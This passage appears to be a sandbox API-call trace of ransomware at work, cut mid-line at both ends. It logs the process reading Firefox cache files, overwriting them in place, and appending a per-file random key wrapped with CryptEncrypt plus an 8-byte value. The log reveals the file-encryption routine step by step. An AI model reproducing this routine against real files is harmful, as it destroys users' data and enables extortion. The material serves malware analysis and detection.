(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EFA23D021904B59506FF95AC0FE581DB27E60575", dwFileAttributes=0x80) returned 1 [0183.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed1a0 [0183.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.234] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x2149, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x2149, lpOverlapped=0x0) returned 1 [0183.276] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-8521, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.276] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f11d0*, nNumberOfBytesToWrite=0x2149, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f11d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2149, lpOverlapped=0x0) returned 1 [0183.277] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2149 [0183.277] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.277] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eee80*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eee80*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.277] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eee80*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eee80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.278] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.278] CloseHandle (hObject=0x1b80) returned 1 [0183.279] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eeb68 | out: pbBuffer=0x30eeb68) returned 1 [0183.279] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.279] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EE72BEB157E7F6CA16B00B3668D03C97A3DF239E", dwFileAttributes=0x80) returned 1 [0183.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ee850 [0183.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.280] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x113c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x113c, lpOverlapped=0x0) returned 1 [0183.288] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4412, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.288] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f01c0*, nNumberOfBytesToWrite=0x113c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f01c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x113c, lpOverlapped=0x0) returned 1 [0183.288] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x113c [0183.288] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.288] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30eeb68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30eeb68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.289] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eeb68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eeb68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.289] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.289] CloseHandle (hObject=0x1b80) returned 1 [0183.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ee328 | out: pbBuffer=0x30ee328) returned 1 [0183.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.291] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EE3445B1D0C2B0676E210B121989A846305F10E8", dwFileAttributes=0x80) returned 1 [0183.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed7d0 [0183.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.292] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0xf30, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0xf30, lpOverlapped=0x0) returned 1 [0183.296] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.296] WriteFile (in: hFile=0x1b80, lpBuffer=0x30effb0*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30effb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf30, lpOverlapped=0x0) returned 1 [0183.296] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf30 [0183.296] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.296] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ee328*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ee328*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.297] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ee328*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ee328*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.297] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.297] CloseHandle (hObject=0x1b80) returned 1 [0183.298] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed9e0 | out: pbBuffer=0x30ed9e0) returned 1 [0183.298] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0183.299] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\ED0CB237A7670F7783DE11F3AD0107C16522D303", dwFileAttributes=0x80) returned 1 [0183.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ee748 [0183.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.302] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x6b5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x6b5, lpOverlapped=0x0) returned 1 [0183.311] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1717, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.311] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef078*, nNumberOfBytesToWrite=0x6b5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6b5, lpOverlapped=0x0) returned 1 [0183.312] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6b5 [0183.312] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.312] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ed9e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ed9e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.312] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ed9e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ed9e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.313] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.313] CloseHandle (hObject=0x1b80) returned 1 [0183.316] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ee748 | out: pbBuffer=0x30ee748) returned 1 [0183.316] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0183.316] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\ECA009A1AF0A444A9DB2C707058FCF2D3FEC9ACD", dwFileAttributes=0x80) returned 1 [0183.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eee80 [0183.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.317] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x1284, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x1284, lpOverlapped=0x0) returned 1 [0183.336] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4740, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.336] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0308*, nNumberOfBytesToWrite=0x1284, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0308*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1284, lpOverlapped=0x0) returned 1 [0183.337] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1284 [0183.337] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.337] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ee748*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ee748*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.337] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ee748*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ee748*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.337] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.338] CloseHandle (hObject=0x1b80) returned 1 [0183.340] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ee328 | out: pbBuffer=0x30ee328) returned 1 [0183.340] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.340] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EBDE98F20367971ABFE20BC912D3FB2E90144C1C", dwFileAttributes=0x80) returned 1 [0183.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed1a0 [0183.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.341] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x139c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x139c, lpOverlapped=0x0) returned 1 [0183.356] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5020, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.356] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0420*, nNumberOfBytesToWrite=0x139c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x139c, lpOverlapped=0x0) returned 1 [0183.357] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x139c [0183.357] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.357] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ee328*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ee328*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.357] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ee328*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ee328*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.357] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.358] CloseHandle (hObject=0x1b80) returned 1 [0183.359] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ee430 | out: pbBuffer=0x30ee430) returned 1 [0183.359] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0183.359] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EB9044C11685A6968C5B76126EFB5E04D564420A", dwFileAttributes=0x80) returned 1 [0183.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed9e0 [0183.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.360] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x8fd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x8fd, lpOverlapped=0x0) returned 1 [0183.408] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.408] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef980*, nNumberOfBytesToWrite=0x8fd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8fd, lpOverlapped=0x0) returned 1 [0183.409] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8fd [0183.409] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.409] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ee430*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ee430*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.409] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ee430*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ee430*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.410] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.410] CloseHandle (hObject=0x1b80) returned 1 [0183.412] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ee328 | out: pbBuffer=0x30ee328) returned 1 [0183.412] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0183.412] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EB27D4AC7F6929DF727CAA9A9A82E68EA601B374", dwFileAttributes=0x80) returned 1 [0183.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed4b8 [0183.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.413] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0xd6e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0xd6e, lpOverlapped=0x0) returned 1 [0183.426] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3438, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.426] WriteFile (in: hFile=0x1b80, lpBuffer=0x30efdf0*, nNumberOfBytesToWrite=0xd6e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30efdf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd6e, lpOverlapped=0x0) returned 1 [0183.427] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd6e [0183.427] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.427] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ee328*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ee328*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.427] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ee328*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ee328*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.427] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.428] CloseHandle (hObject=0x1b80) returned 1 [0183.429] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ee958 | out: pbBuffer=0x30ee958) returned 1 [0183.429] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.429] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EA8E3F76732A78CE8545DB08C4F7F28EE1A5E904", dwFileAttributes=0x80) returned 1 [0183.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30edae8 [0183.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.430] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x6222, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x6222, lpOverlapped=0x0) returned 1 [0183.441] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-25122, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.441] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x6222, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6222, lpOverlapped=0x0) returned 1 [0183.442] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6222 [0183.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ee958*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ee958*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.442] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ee958*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ee958*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.442] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.443] CloseHandle (hObject=0x1b80) returned 1 [0183.444] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed4b8 | out: pbBuffer=0x30ed4b8) returned 1 [0183.444] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.444] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EA558F9B71B58E0929E1AD9AC42586FD67AA28E8", dwFileAttributes=0x80) returned 1 [0183.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed8d8 [0183.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.444] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x14711, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x14711, lpOverlapped=0x0) returned 1 [0183.455] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-83729, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.455] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eff738*, nNumberOfBytesToWrite=0x14711, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eff738*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14711, lpOverlapped=0x0) returned 1 [0183.456] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14711 [0183.456] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.456] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ed4b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ed4b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.457] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ed4b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ed4b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.457] WriteFile (in: hFile=0x1b80, 